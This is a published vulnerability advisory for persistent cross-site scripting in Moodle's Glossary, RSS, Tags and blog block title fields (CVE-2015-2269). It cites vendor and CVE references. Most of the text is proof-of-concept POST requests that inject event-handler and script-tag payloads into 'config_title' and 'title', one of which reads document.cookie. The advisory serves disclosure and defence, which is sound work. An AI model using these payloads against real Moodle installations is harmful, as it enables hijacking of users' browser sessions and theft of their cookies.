Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting


Vendor: Moodle Pty Ltd
Product web page: https://www.moodle.org
Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9

Summary: Moodle is a learning platform designed to provide
educators, administrators and learners with a single robust,
secure and integrated system to create personalised learning
environments.

Desc: Moodle suffers from persistent XSS vulnerabilities. Input
passed to the POST parameters 'config_title' and 'title' thru
index.php, are not properly sanitized allowing the attacker to
execute HTML or JS code into user's browser session on the affected
site. Affected components: Blocks, Glossary, RSS and Tags.

Tested on: nginx
           PHP/5.4.22


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5236
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php

Vendor Advisory ID: MSA-15-0013
Vendor Advisory URL: https://moodle.org/mod/forum/discuss.php?d=307383

CVE ID: CVE-2015-2269
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269


09.02.2015

--


Random Glossary Entry
---------------------

POST http://WEB/my/index.php HTTP/1.1


_qf__block_glossary_random_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=304
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_addentry=test
config_invisible=test2
config_refresh=0
config_showconcept=1
config_title=" onmouseover=prompt("XSS1") >
config_type=0
config_viewglossary=test3
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Remote RSS Feeds
----------------

POST http://WEB/my/index.php HTTP/1.1


_qf__block_rss_client_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=312
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_block_rss_client_show_channel_image=0
config_block_rss_client_show_channel_link=0
config_display_description=0
config_rssid=_qf__force_multiselect_submission
config_rssid[]=3
config_shownumentries=11
config_title=" onmouseover=prompt("XSS2") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Tags
----

POST http://WEB/my/index.php HTTP/1.1


_qf__block_tags_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=313
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_numberoftags=80
config_tagtype=
config_title=Tags" onmouseover=prompt("XSS3") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Older not supported versions
----------------------------

POST http://WEB/blog/index.php HTTP/1.1

blockaction=config
filterselect=1343
filtertype=user
instanceid=4992
numberoftags=20
sesskey=0QCG5LQz0Q
sort=name
timewithin=90
title=ZSL"><script>alert(document.cookie);</script>